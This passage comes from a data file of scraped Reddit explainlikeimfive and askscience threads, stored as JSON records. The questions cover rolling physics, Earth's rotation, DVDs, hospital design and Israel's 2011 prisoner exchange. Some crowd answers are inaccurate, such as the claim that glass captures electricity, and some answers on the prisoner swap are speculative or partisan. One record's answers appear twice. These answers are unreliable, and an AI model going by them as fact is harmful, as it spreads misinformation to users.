slipping down one ramp and up another (smooth curves being ideal), you can show that they all reach the same height on the other side, due to beginning with the same potential energy. I believe that's what the textbook was getting at when it said that all balls will roll the same distance. This would be a demonstration of energy, chiefly. You can discuss that even though a ball with high moment of inertia (probably a heavy one) appears to roll slower, it has more energy because it's more massive (kinetic energy being dependent on both speed and mass). You can gauge what first graders can handle, but maybe it's a good example of disproving a hypothesis when an experiment doesn't go as expected.", "Rolling, especially when you're dealing with real-world friction and objects of differing mass distribution (hollow vs solid, various wall thicknesses, etc) isn't really first-grade material... more like Mechanical Engineering 304: Dynamics material. It seems simple, but it's really a difficult concept to come to grips with. Using solid balls would not resolve your issue.\n\nIf you just want to blow their minds with rolling friction without worrying too much about the quantitative physics involved, then the old yo-yo rolling up an incline trick could suit your purposes better... provided that you can explain what's happening in terms they can understand.", "This experiment depends entirely on having objects with the same *distribution* of mass; if some of the balls are actually hollow spheres (like ping pong balls) and some are solid (like marbles), you will see different results. \n\nUse comparable balls to get comparable results; roll two hollow spheres (basketball/soccerball/volleyball/etc), or two cylinders, or two hoops. The radii and mass won't matter, only the overall distribution of mass. \n\nEdit: Just wanted to add that all the stuff about \"rolling friction\" is *most likely* irrelevant for this kind of demonstration, or at least a secondary consideration; energy losses to surface deformation aren't likely to be as big of factor for a tennis ball or ping pong ball as the differences in their moments of inertia.\n\nEdit 2: OP is teaching grade schoolers, folks. Just trying to boil this down to the dominant effects so their demonstration will work well enough to get the point across. ", "Maybe try going to Home Depot and have them cut some wood hoops and disc's out of particle board, something dense and uniform. Should be cheap and maintain material uniformity. Physics class I had used a wooden ramp and disc's and hoops similar to the ones I described. Demonstrated the principles quite well. \n\nAs it has been mentioned, this stuff is probably a bit advanced for first graders. But one awesome experiment is to demonstrate rotational inertia by spinning a bike tire upright, then  tilting it while on a rotatable platform... Always gets good results from classes. Also advanced though... \n\n", "Are you in Canada by any chance?  I am a volunteer with a group called [Lets Talk Science](_URL_0_).  We go around to local public schools and present science learning programs to try and stimulate Kid's interest in science.  We have a activity kit called \"bounce and roll\" that is designed for kids in the 1st grade (I think it teaches the same concepts that you are trying to teach). I have never presented the kit so I can't personally give you any advice, but you could contact one of the coordinators at LTS and ask for advice (even if you aren't in Canada).", "More than anything else, it's rotational inertia. It's an under appreciated, but extremely powerful force. \n\nThere are a lot of ways you can connect this to real-life experiencing, but explaining the why is going to be way beyond the elementary school level. That said, you can make a bunch of really awesome demonstrations:\n\n1. Roll a hula hoop and a bicycle wheel (of similar diameters) down the same ramp, and see which is faster.\n\n2. Roll a racquetball and a billiard ball down the ramp.\n\n3. Roll the billiard ball and a large ball bearing of the same weight (but smaller diameter).\n\n4. Get a very spinny stool to sit on. Show how you spin faster when you pull your arms in. Figure skaters do this, too.\n\n5. Mount the bicycle wheel with a handle on the axle. Spin the wheel, then sit on said stool. Just by tilting the wheel, make yourself turn on the stool.\n\nThis also explains to kids why bicycles are more stable the faster you go (the gyroscopic forces spinning wheels stabilize the bike), why spinning fans are so strange to move...so many things in their lives. It's really interesting, and shows them a lot more than simple friction.", "_URL_0_\n\n11:00 is roughly when he demonstrates moment of inertia using hollow and solid pipes on an incline."]}, "title_urls": [], "selftext_urls": ["http://www.batesville.k12.in.us/physics/phynet/mechanics/RotMechanics/fall_slide_roll.htm"], "answers_urls": [[], [], [], [], [], [], [], [], ["http://www.letstalkscience.ca/"], [], ["http://ocw.mit.edu/courses/physics/8-01-physics-i-classical-mechanics-fall-1999/video-lectures/lecture-24/"]]}
{"q_id": "2xog05", "title": "if i make a perfectly vertical jump will i land in the same spot or will earth's rotation make me land in a different spot?", "selftext": "In the same context, can helicopters which remain stationary in air be able to traverse the whole earth in 24 hours?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2xog05/eli5_if_i_make_a_perfectly_vertical_jump_will_i/", "answers": {"a_id": ["cp1w6hl", "cp1w9lz", "cp1wc19", "cp1wqbi"], "score": [15, 7, 9, 6], "text": ["If you jump off the ground, you will retain your movement around the earth, so your position relative to the ground will not have moved. ", "You are moving along with the Earth.  When you jump, you keep your sideways momentum, so you keep traveling to the east along with the Earth's rotation, and land back on the same spot.\n\n > In the same context, can helicopters which remain stationary in air be able to traverse the whole earth in 24 hours?\n\nNo.  The atmosphere is rotating along with the Earth.  If it weren't, there would be constant 1000mph winds at the equator.  So a helicopter that hovers in the air is pulled along with the surrounding air, and (ignoring wind) maintains its position relative to the ground.  In order to be \"stationary\" in the way that you describe, the helicopter would have to fly west at hundreds of miles per hour against the atmosphere.", " > can helicopters which remain stationary in air be able to traverse the whole earth in 24 hours?\n\nTo remain 'stationary' as you mean it, you'd have to counteract your inertia. You and the ground are traveling at the same speed in the same direction, so when you jump, you move above the ground as it moves below you. You'd have to fly in the opposite direction the Earth is rotating to have it 'pass beneath you'. Now, as you've noticed, the Earth rotates in 24 hours. It's also about 25,000 miles around the Earth, so at the equator, that means that it rotates a bit over 1000 miles per hour.\n\nSo to 'hold still' you'd have to fly about 1000 miles per hour west, which would be pretty darn taxing for a helicopter.\n\nIn short, just because you aren't touching the ground doesn't mean you instantly lose all the motion the Earth has imparted to you.", "As many people have pointed out already, you are moving with the surface of the planet now and that doesn't stop just because you jump. However your movement is also not faster or slower, but moving further away from the Earth increases the distance traveled in a given rotation. This would tend to make you fall behind very slightly when you jump, although the effect would be minuscule."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3ury8e", "title": "why do people say the alarm goes \"off\" when really it comes \"on\"?", "selftext": "My actual 5 year old daughter wants to know this. I don't have a valid explanation for her, because I agree it makes no sense.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ury8e/eli5_why_do_people_say_the_alarm_goes_off_when/", "answers": {"a_id": ["cxha3of"], "score": [4], "text": ["The alarm is always \"on\" looking for a certain stimulus. When it sees that stimulus, it turns \"off\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bk9ul1", "title": "are d\u00e1rk themes in apps/websites better for your eyes and if so, how?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bk9ul1/eli5_are_d\u00e1rk_themes_in_appswebsites_better_for/", "answers": {"a_id": ["emf321x", "emf77yk", "emflzpr", "emfq9qi"], "score": [50, 3, 14, 3], "text": ["Ah interesting. I came across an article, which changed my mind. The opposite is true: Brighter is better for the eyes. Bright themes causes your iris to narrow and like a camera lens aperture, actually makes things sharper and easier to focus. \n\nDark themes on the other hand causes your iris to widen and this is comparable to bokeh effect in images, which is blurry.\n\nThe effect on sleep could be a different story though. Instead, blue light reduction is touted to be helpful in this regard. Ihmo dark themes in phones are meant to save battery and not your eyes x_x", "Not better for your eyes maybe, but light (especially blue) has been proven to make you sleep worse.", "Dark themes are better in otherwise dark rooms, bright themes are better in otherwise bright rooms. Staring into a bright light with everything else around being dark is bad and staring into a black hole with everything else around being bright also is bad. The average brightness of your screen should ideally be as bright as the wall behind or the room around it.", "I use dark themes everywhere I can, because they reduce overall amount of white color I see. Think of a browser - it\u2019s white literally everywhere, or at least on the sides of the page. My eyes are pretty sensitive, and my monitor brightness is usually like 10, so dark themes helping a lot, especially in the evening..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1hml7w", "title": "Is the field of mathematics boundless or is it resolvable?", "selftext": "I just had a discussion about this with my brother.  He speculated that given enough time (t approaches infinity) that math would ultimately be resolved.  Whereas I was thinking of the field as something that would inevitably continue to differentiate into new areas of study.  I know this is hard to validate using journals, but how would you weigh in on this as people who are fully immersed in the abstract bases of the field\n\nEdit:  Additionally, if you find that it is boundless, how do those implications play in to the relative boundlessness of other fields of study (physics, chemistry, etc etc)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1hml7w/is_the_field_of_mathematics_boundless_or_is_it/", "answers": {"a_id": ["cavsaks", "cavsi4h", "cavyuy6"], "score": [36, 11, 2], "text": ["Math, in the most abstract sense, is about systems with rules, and exploring the consequences of those rules.  [Godel's Incompleteness Theorem](_URL_0_)  proves that for a mathematical system of sufficient complexity, there will be statements that are true, but that cannot be proven to be true.  This means that mathematics cannot be 'solved', or that you will never be able to prove all statements that are true in any mathematical framework.", "If by \"solved\" you mean that we will have a complete list of all possible theorems together with their proof, then the answer is No.\n\n >  Whereas I was thinking of the field as something that would inevitably continue to differentiate into new areas of study. \n\nThis is exactly the case. As time passes, there are more and more specialized field of study and most of them study objects that were not even considered 20 years ago (and when I say considered, I mean that these objects were never defined before). There is no reason for this process to stop.\n\nI'm out of my domain of expertise, but there are probably some fundamental reasons that we cannot have a complete (finite) list of theorems and proofs if the theory we are in is powerful enough to express arithmetic (I guess Godel's incompleteness theorem plays some role). Which means that we will always have new things to find/prove/disprove in mathematics.", "Ok, so I'm a computer science guy. Which is why when I think hard math problems, I think [halting problem](_URL_0_). The halting problem is basically the question whether a given program (Turing machine) halts at some point or runs into an infinite loop.\n\nIt's proven that there is no single algorithm that can answer that question correctly for every possible program.\n\nGiven a single program, it is however possible to prove whether that program halts or not. Since there is an infinite amount of possible programs, that seems to suggest to me that there is an infinite amount of math problems that all need their own unique solution."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Incompleteness_theorem"], [], ["http://en.wikipedia.org/wiki/Halting_problem"]]}
{"q_id": "1w3tr8", "title": "how are dvds mass produced.", "selftext": "Title says it all.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1w3tr8/eli5_how_are_dvds_mass_produced/", "answers": {"a_id": ["ceyg4nt", "ceyhv23", "ceyi56h", "ceyilal"], "score": [17, 2, 65, 2], "text": ["Basically, a Master-DVD is etched, which is an exact opposite (with the holes as points) of what the DVD should become. Then, the DVD's are 'pressed' by use of this master-disc. \n\nI just know this because a friend of mine who worked at a dvd-printing-lab, has a huge collection of non-usable porno-discs... \n\nPlease do correct me if I'm wrong in any part.", "They (more with records) will make a glass master too, which involves making a glass version of the master disc as it will retain it's form much longer, so you can press more CDs. \n\nIt helps when you imagine a CD as a series of pits bumps. Almost like 1's and 0's.. Very loosely. \n\nThe laser on your cd/DVD player will read these pits and their depth as the reflective layer bounces back the laser which creates the bitstream. \n\nI did a Music Tech degree and covered all this stuff. I'm a little on the rusty side but if you have any questions about this please ask me and I'll do my best! ", "It's hard to think about at first because everyone has a CD burner now. You think \"how can they make millions of these\" without spending a ton of a bunch of CD burners.\n\nBut CDs made in factories are actually different than CDs you burn. CDs in factories are actually full of tiny little bumps. It's actually basically the same as an old record when you think about it. They take master copies, the originals, of the CDs, make molds of it, and use them to quickly press into CDs, similar to how you can press the PlayDoh Lid into PlayDoh and get a copy of it. So why are your CDs so smooth? They put a thin layer of coating over the whole thing to make them more scratch resistant. If you think they're easy to ruin now, imagine having direct access to all the little bumps that represent the 1's and 0's of the data stored on them!\n\n\nAs a side note to this, how does your CD Burner work? If it's just a laser, it can't physically press into the CD can it? This is why you need special CDs to burn with. Instead of having bumps all over them, they're simply a chemical compound inside of them. When you burn a CD, the laser actually melts the chemicals inside the CD(hence the term burn) to form the same types of bumps you get from a factory. Obviously this takes longer because it goes over the whole CD and isn't just a mold being pressed into it.\n\nAnd another fun fact! Instead of burning bumps into a CD, re-writable CDs actually have a chemical that changes colors when being burned. The laser melts the chemical to a certain color instead of a bump. Being able to read this color is why CD-RWs don't work in all radios.", "_URL_0_\n\nAfter watchign this i am wondering why they could nto have made dvds that would not get scratched by simply putting a layer of corning glass or similar onto the disc. Surely it would not have increased the cost by much as it would be a very small amount that was used per disc, and the ability to keep dvd's or cd's for much longer would have been appreciated by games players who have to replace discs after using them a lot over a few years. Damn i have had to replace my kids toy story three disc for the xbox three times and the kids know they have to handle it very carefully."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.youtube.com/watch?v=YZKD2aYLTWw"]]}
{"q_id": "7mn0yh", "title": "this was over at r/damnthatsinteresting. how does this glass manage to \u201ccapture\u201d the electricity?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7mn0yh/eli5_this_was_over_at_rdamnthatsinteresting_how/", "answers": {"a_id": ["drv3uu5"], "score": [2], "text": ["Glass is a Insulator. Once electricity is brought into it, it cannot escape if it is closed off. It can only conduct to the next nearest conductor.\nConduct meaning travel between items that attract other items."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aupmt0", "title": "how do four legged animals not constantly trip?", "selftext": "How do 4-legged animals not trip on their back-legs all the time?  The front two legs can be guided by what the animal sees, but the animal can't see what's in front of the rear two legs, right?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aupmt0/eli5_how_do_four_legged_animals_not_constantly/", "answers": {"a_id": ["eh9nrfy", "eh9nsas", "eh9nzto", "eh9q6dw"], "score": [3, 7, 2, 3], "text": ["When you walk, are you constantly staring at your feet to make sure they don't misstep?  Probably not.  When you walk you watch out 5-10 feet ahead of you, then you know if there are any obstacles on the ground coming up to watch out for.  So long as there aren't, your feet manage fine on their own.", "It's the same reason that you can walk without constantly looking down at your feet. You see the terrain ahead of you and can predict when you will be walking over it and adjust your steps without having to directly watch each step.", "Perhaps it's a Kinesthetic sense (knowing the position of your limbs even if you can't see them) ", "In almost every instance the animal's rear foot will be placed in almost exactly the same spot that the front foot just left. The front foot has already confirmed that spot will work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4h1p96", "title": "what is so special about kobe beef, and why european or american herds can't produce it?", "selftext": "A cow is a cow?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4h1p96/eli5_what_is_so_special_about_kobe_beef_and_why/", "answers": {"a_id": ["d2mmpd3", "d2mmqm7", "d2mt6bs"], "score": [40, 2, 5], "text": ["Just like there are different breeds of dogs, there are different breeds of cows.  Kobe beef comes from a Wagyu cow.  European or American farms can't produce it because Kobe beef comes from Kobe.  If it doesn't come from Kobe, it's not Kobe beef.  Same thing applies to Champagne.  Champagne is a region in France.  Sparkling wine from other regions is simply called \"sparkling wine\".  Also similar is Scotch.  If it's not from Scotland, it can't be called scotch.  Other places produce the exact same thing, but they call it whiskey or bourbon.\n\nAmerican and European farms DO produce beef from Wagyu cows.  But they can't call it Kobe beef because it's not from Kobe, so they call it Wagyu beef.\n\nWagyu cows are known for high amount of marbling on the meat.", "Kobe is a regional appelation, so you can't get Kobe beef from the US, just like you can't get Bordeaux from Spain or Camembert from Brazil.", "Kobe beef is a specific breed of cow raised in a specific way in a specific part of japan. If you took the same breed of cow and raised it the same way in america you probably couldn't tell the difference, but you also couldn't call it \"kobe\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8m7vun", "title": "why are hospital buildings (in the us) generally built taller than surrounding city property?", "selftext": "Is it to create a conspicuous visual landmark for ambulances and random people in emergencies to find more easily?\n\nIs it because of how a hospital functions internally?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8m7vun/eli5_why_are_hospital_buildings_in_the_us/", "answers": {"a_id": ["dzlih2k", "dzljhit", "dzljknn", "dzljs7u", "dzlkg0g", "dzlkv8e", "dzlma6w", "dzlp6b5", "dzlsjgl", "dzomet5"], "score": [16, 6, 15, 3, 46, 3, 3, 2, 2, 3], "text": ["I always think of hospitals like air craft carriers, where the whole reason the ship exists is to put 24 pilots (I don't know how many pilots there are, that was just a guess) within striking distance of their target. Everyone else on the ship is literally support for those pilots.\n\n Hospitals are similar. You have all this infrastructure to support a few Dr's. But their patients need to be fed, clothed, bedded down, laundry done, etc etc. All that takes a lot of support.\n\nEd. To make a better point", "It could be that they act as a landmark, but more than likely it's because when most were originally built the property they were on was enough to make it a single story building that covered all their needs.  As the city grew up around them the land available for expansion became unavailable, so to expand the hospital to care for increasing populations they had to expand upwards instead of outwards.", "Hotels are often built taller than surrounding buildings. It's about efficiency of space, movement of patients  and having the resources to build taller. ", "As a profession I spend many hours every day looking at hospital campuses via google earth. Because hospitals need to grow in place to support the community growing around them, they must be set away from other developments so they may have room to grow. This often describes the condition OP describes: a solitary structure dwarfing the community around it.", "I'm surprised that nobody has mentioned this:\n\nMost hospitals (if not all) have a helicopter landing pad on the roof somewhere, for when patients need to be airlifted due to emergencies. It would be dangerous or difficult to land that with taller buildings right next to it, and making the hospital taller just gives more space.", "Think of a floor as a 50\u2019 x 50\u2019 square that is 10\u2019 tall.  If you layout 7 squares flat you would have a 50\u2019 x 350\u2019 rectangle that was 10\u2019 tall. \n\nWe would say the maximum center point is at 25\u2019 and 175\u2019 that is 5\u2019 off the ground. So from the edge I would be about 200\u2019 from the middle to the farthest distance. \n\nNow if we said the building was stacked 7 high rather than flat, we now have a building that is 50\u2019 x 50\u2019 that is 70\u2019 tall.  The center point for this building would be 25\u2019 and 25\u2019 and 35\u2019 off the ground. This means that I am only about 75\u2019 from the farthest edge. \n\nMultiply this on larger scales, and you can see that going vertical (to a certain point), reduces this ratio. \n\nConsider the purpose of a hospital.  You are going there to see a doctor. Going vertical requires less distance to be traveled on average. This reduces the critical time of getting a patient to a room and bringing the resources (doctors, nurses, and machines) to the them. \n\nSource: IE specializing in automotive facility planning", "To have enough space to house and treat the people who go there. They have to be able to service several hundred if not thousand people at a time depending on how large of a region they service. You cannot do that with a small building. ", "Hospitals are built upwards for ease of access and other logistical purposes, especially for emergency response teams such as those designated to respond to a patient in cardiac arrest. I work in an old rural hospital in the UK that was built before hospitals began to be built upwards and it takes significantly longer for emergency specialists to navigate than if there were stairs/elevators heading upwards as everything is so spread out. We also demand much more from our portering staff who must navigate the great lengths of the hospital instead of simply moving upwards and downwards.\n\nIt also effects our ability to respond to a fire significantly. It is much easier to move patients efficiently out of a building that is less expansive.\n\nEdit: Just another example to illustrate this: I work in a recently built surgical outpatients unit that is right at one extreme end of the hospital. If we need an emergency x-ray post-surgery, we have to navigate nearly a mile just to reach radiology.", "Zoning laws and building ordinances contribute. \n\nOften, to build a building over the standard 2 or 3 storeys in height, you have to pay quite a substantial amount more, both to architect the building, to build it, to secure the needed permits, and allowances from the city. Most buildings therefore don't see the benefit of the extra space as being worth the time/cost/effort. Hospitals do. ", "A few things not mentioned yet...\n\n1. Hospitals tend to have a higher floor to floor height than most buildings you see. There are a huge number of MEP services (HVAC, plumbing, IT infrastructure, specialty items (gas, oxygen, etc), and due o biocontainment issues these are often a lot more complex than you\u2019d see in an office building or condo, so there is often quite a lot of space above the ceiling. So a 5 story hospital will likely be significantly taller than most typical 5 story buildings.\n\n\n2. Due again to the huge MEP demands there are often substantial machine rooms and on the upper levels. These can be multi-floor levels containing heating and cooling systems, plumbing management, etc etc. So your already taller-than-average building then gets an additional floor or two to house all the machinery that makes the place work. And then there\u2019s some stuff that goes up on the roof, again this is generally big, so they add a giant screen wal around it, which makes the building look like it has another floor or two."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "lgrsj", "title": "why would israel release over 1000 prisoners for 1 soldier?", "selftext": "EDIT: Thanks everyone for the information. I really thought this was going to go to the wayside as it was at 0 almost right away....went home and did some home improvements, checked reddit and saw that this had taken off. Explaining it that Israel is like a big family makes sense. The part that I didn't understand is why they agreed on the terror suspects. From what I had read on Wikipedia prior to posting this, some of the previous prisoner releases had lead to about 180 Israeli deaths later on, which is why I really didn't understand it.\n\nEDIT2: Thought that I had actually edited my post, but apparently Reddita (on Transformer) confused me.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/lgrsj/eli5_why_would_israel_release_over_1000_prisoners/", "answers": {"a_id": ["c2sk4kn", "c2skmkb", "c2slk3s", "c2smfxt", "c2smjoc", "c2smoai", "c2smx0i", "c2sn6or", "c2sn82d", "c2snfdr", "c2sngco", "c2snow3", "c2so5vn", "c2solfe", "c2somfr", "c2spdl8", "c2spgoh", "c2splnk", "c2sk4kn", "c2skmkb", "c2slk3s", "c2smfxt", "c2smjoc", "c2smoai", "c2smx0i", "c2sn6or", "c2sn82d", "c2snfdr", "c2sngco", "c2snow3", "c2so5vn", "c2solfe", "c2somfr", "c2spdl8", "c2spgoh", "c2splnk"], "score": [5, 76, 136, 5, 27, 17, 2, 13, 17, 2, 3, 6, 2, 4, 3, 2, 2, 2, 5, 76, 136, 5, 27, 17, 2, 13, 17, 2, 3, 6, 2, 4, 3, 2, 2, 2], "text": ["I don't understand the downvote...I honestly have no idea the situation.", "Because Israel values having its only POW home safely more than it values having 1000 rando Palestinians locked up.  It was a political move.", "Also, because the mandatory service in Israel, it gives Israeli families comfort knowing their government will do whatever necessary to recover potentially their kid.", "Isreal's and Jewish culture highly value their children, and considering that Isreali citizens must give at least 2 years of service in the military, the government should follow and recognize these values. Hugs_n_Nugs hit it pretty well.", "Israel views itself as one large family. Israelis are more likely to be involved in each others' lives, both by being very helpful to complete strangers and by having a lesser expectation of privacy. This family mentality views one missing soldier as a missing brother. So although there was some debate, there was still strong support for the trade, as any family would trade 1000 prisoners for one missing brother.", "I had a Jewish friend tell me once that it's a fairly fundamental tenant of Judaism that you can't put a price on human life. But don't take my word for it..", "As some other's have said, a lot of it has to do with the prisoner himself. Gilad Shalit was known to be a POW who should have been released and simply wasn't. Even in the U.S. the name was popular to Jews years ago. While most people would say negotiating with terrorists is a bad idea, most Israelies know that this won't become a habit. They just *really* wanted him back.", "This has happened time and time again in Israel's history.  It has stated that it will do whatever it takes to bring a soldier home.  I understand the skepticism especially as most of us are US citizens, but it is one of the basic tenets of Israeli life.  Google it, and you'll find countless examples, across 50 years, across every political party.  \n\nAlso, I understand the idea that these people were not guilty if they were traded.  I would say the same if the US traded guantanamo bay soldiers.  However, a good number of the prisoners are confirmed mass murderers, and is was not an easy decision to make. \n\nI applaud the skepticism(as almost everything is tied to politics), but I was invite you to research the topic and make your own decision.  In the end, the facts send a much different message than many of us would initially think.\n", "In very, very simplified terms? The squeaky wheel gets the grease.   \nThe Shalit family created an engaging, snowballing movement that got everyone involved and empathizing with their cause by amplifying a subject that everyone can identify with: military service and the [potential] loss of a child/brother/friend. Everyone's family, brothers, sisters, cousins, friends, everyone serves in the military. The Shalit family painted an image that everyone could place their loved one in, and promoted it ruthlessly. It created a huge hullabaloo which gained increasing support, and was kept alive by undying determination on part of the Shalits.  \nContinual hullabaloo + increasing Israeli empathy = political power  \nYes, even enough political power to persuade the government to set murderers free.  \nYes, even enough political power to persuade the government set 1000+ criminals free.  \nWas it right? Disputable. Would every family do it? Definitely.", "I personally, maybe cynically, think this is also a PR move. \n\n1) After a constant stream of events painting Israel in a poor light, this helps shift the spotlight to the other side. Such a lopsided trade catches your attention, and you then read about some of these people they're releasing and those ignorant of the situation aware of how grisly some of Israel's can be. \n\n2) Its major news story demonstrating the Israeli's government to make painful concessions in a tough negotiation. Israel is now releasing over 1,000 known terrorists, murderers, etc, back in the world. Two things can happen-these perps live out their lives peacefully, and never harm an Israeli again. Or they return to violence, and Israel has just another reason to say \"you see! we conceded and now this is what we get!\"  ", "EDIT: Thanks everyone for the information. I really thought this was going to go to the wayside as it was at 0 almost right away....went home and did some home improvements, checked reddit and saw that this had taken off. Explaining it that Israel is like a big family makes sense. The part that I didn't understand is why they agreed on the terror suspects. From what I had read on Wikipedia prior to posting this, some of the previous prisoner releases had lead to about 180 Israeli deaths later on, which is why I really didn't understand it.", "The most important thing to do when judging actions is to look at their effect. Releasing the prisoners has two major effects:\n\n* It strengthens Hamas, thereby weakening the Palestinian Authority of President Abbas. Abbas recently managed to make Israel look a bit bad in front of the world when their ally the US vetoed Palestinian statehood. By strengthening his enemy, they get back at Abbas.\n\n* The whole Shalit thing has been hanging over their heads for years. Israel even started a war to get him back (400+ people were killed). In Israel there are 2 years of mandatory service for Jews, and the government wants people to know that this can't happen to them/their children.\n\nAlso, keep in mind that Israel can basically do anything they want to the Palestinians. They have tanks, jets, a navy, thousands of trained soldiers, vastly superior equipment and nukes. The Palestinians have oversized fireworks and rifles. Israel used to have 11.000 Palestinian prisoners. If they'd run low on them due to exchanges, they can always get more.\n\nFinally, keep in mind that Hamas released 100% of their Israeli prisoners while Israel released only 20% of their Palestinian prisoners. They have 4000 more.", "If you want to be really strategic about it, releasing those prisoners means more chances for those prisoners to attack and more reasons for Isereal to take violent actions against Palestine all the while returning the one pow they had. \n\nWar is no longer about \"Who has the most troops\" when you have jet planes that could wipe out a thousand enemy troops in a single night. Much of modern warfare is about appeasing the people to a degree where you can keep fighting wars. ", "like anarchistica said: Hamas released 100% of their Israeli prisoners while Israel released only 20% of their Palestinian prisoners. They have 4000 more.", "There is a ton of misinformation.  The reason is very simple.  Human life is sacrosanct.  A Jewish life, for Jews, is the most precious thing on Earth.  This sort of thing has been done time and again throughout our history.  There is a positive mitzvot (commandment, if you will) that we *must* retrieve him.  That the price was *so low* in the end was a blessing.  It is a shame that other soldiers (and, I am sure, Palestinian civilians) have died in the past in efforts to retrieve him by force.\n\nI believe that the only reason a massive prisoner swap wasn't done in the past was internal Israeli politics by largely secular politicians, which is a shame and an embarrassment.  That he spent so long there when this was a means to retrieve him is awful, IMO.", "The Israelis have a leave no Israeli behind policy and they are really well coordinated with eachother and will do anything to save an Israeli hostage.", "They presumably want more Israeli soldiers to be captured and ransomed, which is why they're incentivising the behaviour with success.  Why they want that requires speculation, but my first guess is that they want an excuse to keep fighting, and kidnapped soldiers make a great excuse.", "Because they know that they will just capture the really bad ones again and the not-so-bad ones aren't a problem. Besides, Palestine is a surrounded territory with lots of security on the border. It's kinda like a large prison anyway. ", "I don't understand the downvote...I honestly have no idea the situation.", "Because Israel values having its only POW home safely more than it values having 1000 rando Palestinians locked up.  It was a political move.", "Also, because the mandatory service in Israel, it gives Israeli families comfort knowing their government will do whatever necessary to recover potentially their kid.", "Isreal's and Jewish culture highly value their children, and considering that Isreali citizens must give at least 2 years of service in the military, the government should follow and recognize these values. Hugs_n_Nugs hit it pretty well.", "Israel views itself as one large family. Israelis are more likely to be involved in each others' lives, both by being very helpful to complete strangers and by having a lesser expectation of privacy. This family mentality views one missing soldier as a missing brother. So although there was some debate, there was still strong support for the trade, as any family would trade 1000 prisoners for one missing brother.", "I had a Jewish friend tell me once that it's a fairly fundamental tenant of Judaism that you can't put a price on human life. But don't take my word for it..", "As some other's have said, a lot of it has to do with the prisoner himself. Gilad Shalit was known to be a POW who should have been released and simply wasn't. Even in the U.S. the name was popular to Jews years ago. While most people would say negotiating with terrorists is a bad idea, most Israelies know that this won't become a habit. They just *really* wanted him back.", "This has happened time and time again in Israel's history.  It has stated that it will do whatever it takes to bring a soldier home.  I understand the skepticism especially as most of us are US citizens, but it is one of the basic tenets of Israeli life.  Google it, and you'll find countless examples, across 50 years, across every political party.  \n\nAlso, I understand the idea that these people were not guilty if they were traded.  I would say the same if the US traded guantanamo bay soldiers.  However, a good number of the prisoners are confirmed mass murderers, and is was not an easy decision to make. \n\nI applaud the skepticism(as almost everything is tied to politics), but I was invite you to research the topic and make your own decision.  In the end, the facts send a much different message than many of us would initially think.\n", "In very, very simplified terms? The squeaky wheel gets the grease.   \nThe Shalit family created an engaging, snowballing movement that got everyone involved and empathizing with their cause by amplifying a subject that everyone can identify with: military service and the [potential] loss of a child/brother/friend. Everyone's family, brothers, sisters, cousins, friends, everyone serves in the military. The Shalit family painted an image that everyone could place their loved one in, and promoted it ruthlessly. It created a huge hullabaloo which gained increasing support, and was kept alive by undying determination on part of the Shalits.  \nContinual hullabaloo + increasing Israeli empathy = political power  \nYes, even enough political power to persuade the government to set murderers free.  \nYes, even enough political power to persuade the government set 1000+ criminals free.  \nWas it right? Disputable. Would every family do it? Definitely.", "I personally, maybe cynically, think this is also a PR move. \n\n1) After a constant stream of events painting Israel in a poor light, this helps shift the spotlight to the other side. Such a lopsided trade catches your attention, and you then read about some of these people they're releasing and those ignorant of the situation aware of how grisly some of Israel's can be. \n\n2) Its major news story demonstrating the Israeli's government to make painful concessions in a tough negotiation. Israel is now releasing over 1,000 known terrorists, murderers, etc, back in the world. Two things can happen-these perps live out their lives peacefully, and never harm an Israeli again. Or they return to violence, and Israel has just another reason to say \"you see! we conceded and now this is what we get!\"  ", "EDIT: Thanks everyone for the information. I really thought this was going to go to the wayside as it was at 0 almost right away....went home and did some home improvements, checked reddit and saw that this had taken off. Explaining it that Israel is like a big family makes sense. The part that I didn't understand is why they agreed on the terror suspects. From what I had read on Wikipedia prior to posting this, some of the previous prisoner releases had lead to about 180 Israeli deaths later on, which is why I really didn't understand it.", "The most important thing to do when judging actions is to look at their effect. Releasing the prisoners has two major effects:\n\n* It strengthens Hamas, thereby weakening the Palestinian Authority of President Abbas. Abbas recently managed to make Israel look a bit bad in front of the world when their ally the US vetoed Palestinian statehood. By strengthening his enemy, they get back at Abbas.\n\n* The whole Shalit thing has been hanging over their heads for years. Israel even started a war to get him back (400+ people were killed). In Israel there are 2 years of mandatory service for Jews, and the government wants people to know that this can't happen to them/their children.\n\nAlso, keep in mind that Israel can basically do anything they want to the Palestinians. They have tanks, jets, a navy, thousands of trained soldiers, vastly superior equipment and nukes. The Palestinians have oversized fireworks and rifles. Israel used to have 11.000 Palestinian prisoners. If they'd run low on them due to exchanges, they can always get more.\n\nFinally, keep in mind that Hamas released 100% of their Israeli prisoners while Israel released only 20% of their Palestinian prisoners. They have 4000 more.", "If you want to be really strategic about it, releasing those prisoners means more chances for those prisoners to attack and more reasons for Isereal to take violent actions against Palestine all the while returning the one pow they had. \n\nWar is no longer about \"Who has the most troops\" when you have jet planes 